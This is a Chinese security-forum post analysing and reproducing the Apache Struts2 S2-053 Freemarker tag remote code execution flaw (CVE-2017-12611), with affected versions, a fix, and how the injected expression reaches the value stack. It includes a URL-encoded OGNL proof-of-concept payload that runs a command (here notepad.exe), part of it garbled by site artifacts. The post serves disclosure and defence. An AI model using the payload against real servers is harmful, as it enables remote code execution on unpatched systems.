华域联盟
登陆 / 注册 搜索

USERCENTER

SEARCHSITE

搜索

Apache Struts2 Freemarker标签远程执行漏洞剖析和复现

2017-9-10 22:35| 发布者: sterben| 查看: 436| 评论: 0

摘要: 2017年9月7日,Struts官方发布一个中危的安全漏洞,该漏洞编号为:S2-053,在一定条件下,当开发人员在Freemarker标签中运用错误的结构时,可能会招致远程代码执行漏洞,存在一定的安全风险。中新网安将对该漏洞中止持 ...

2017年9月7日,Struts官方发布一个中危的安全漏洞,该漏洞编号为:S2-053,在一定条件下,当开发人员在Freemarker标签中运用错误的结构时,可能会招致远程代码执行漏洞,存在一定的安全风险。中新网安将对该漏洞中止持续关注,并第一时间为您更新相关漏洞信息。

漏洞编号

CVE-2017-12611

漏洞称号

Freemarker标签远程代码执行漏洞

漏洞评级

中危

影响范围

Struts 2.0.1 - 2.3.33
Struts 2.5 - 2.5.10

漏洞复现

idea创建默许struts2项目

执行poc

http://localhost:8081/zxsoft?strutsS=%25%7B%23_memberAccess%[email][email protected][/email][email protected]_MEMBER_ACCESS%[email][email protected][/email][email protected]%28%29.exec%28%27notepad.exe%27%29%7D%3B

代码执行胜利后弹出记事本程序。

漏洞剖析

当在Freemarker标签中运用表达式文本或强迫表达式时,运用以下央求值可能会招致远程代码执行

<@s.hidden 
name="strutsS" value=strutsS/> 
<@s.hidden name="strutsS" 
value="${strutsS}" /> 

这两种状况下,值属性都运用可写属性,都会遭到Freemarker表达式影响

再将默许的execute办法执行的结果集经过DefaultActionInvocation中的createResult办法传送到ftl模板里



然后接着取出了payload

然后payload 进入ValueStack 中的map值栈,并且位于值栈的栈顶

最终FreeMarker模板运用assign指令调用struts.translateVariables办法去执行keyValue的栈顶元素

修复倡议

升级Apache Struts到version 2.5.13


鲜花

握手

雷人

路过

鸡蛋

最新评论

  • 数百万台Mac仍易受EFI固件
  • Discuz!X ≤3.4 恣意文件删
  • Linux PIE/stack 内存破坏
  • SambaBleed:Samba信息泄露
  • Apache Struts2 Freemarker
  • U盘拷贝修正MBR敲诈木马剖

图文热点

重磅!一种歹意软件绕过杀软的新办法
重磅!一种歹意软件
前言随着越来越多的网络攻击、数据库漏洞、特务软件以
供给链幽魂再现:CCleaner软件攻击剖析报告
供给链幽魂再现:CC
概述近日,360安全中心检测到盛行系统优化软件CCleane
隔空盗刷NFC信誉卡 2017 HACKPWN最吸“金”的破解秀
隔空盗刷NFC信誉卡
前言具备NFC(闪付)功用的各种卡片越来越多,很多人
安全研讨人员披露D-Link路由器漏洞
安全研讨人员披露D-
研讨员透露几个补丁的细节影响友讯科技dir - 850 l路
Apache Struts2 Freemarker标签远程执行漏洞剖析和复现
Apache Struts2 Fre
2017年9月7日,Struts官方发布一个中危的安全漏洞,该

GMT+8, 2017-12-17 20:01 , Processed in 0.156250 second(s), 31 queries .

© 2020 华域联盟 | 蒙公网安备 15062202000105号 版权删帖举报人口

备案号: 蒙ICP备17000689号-2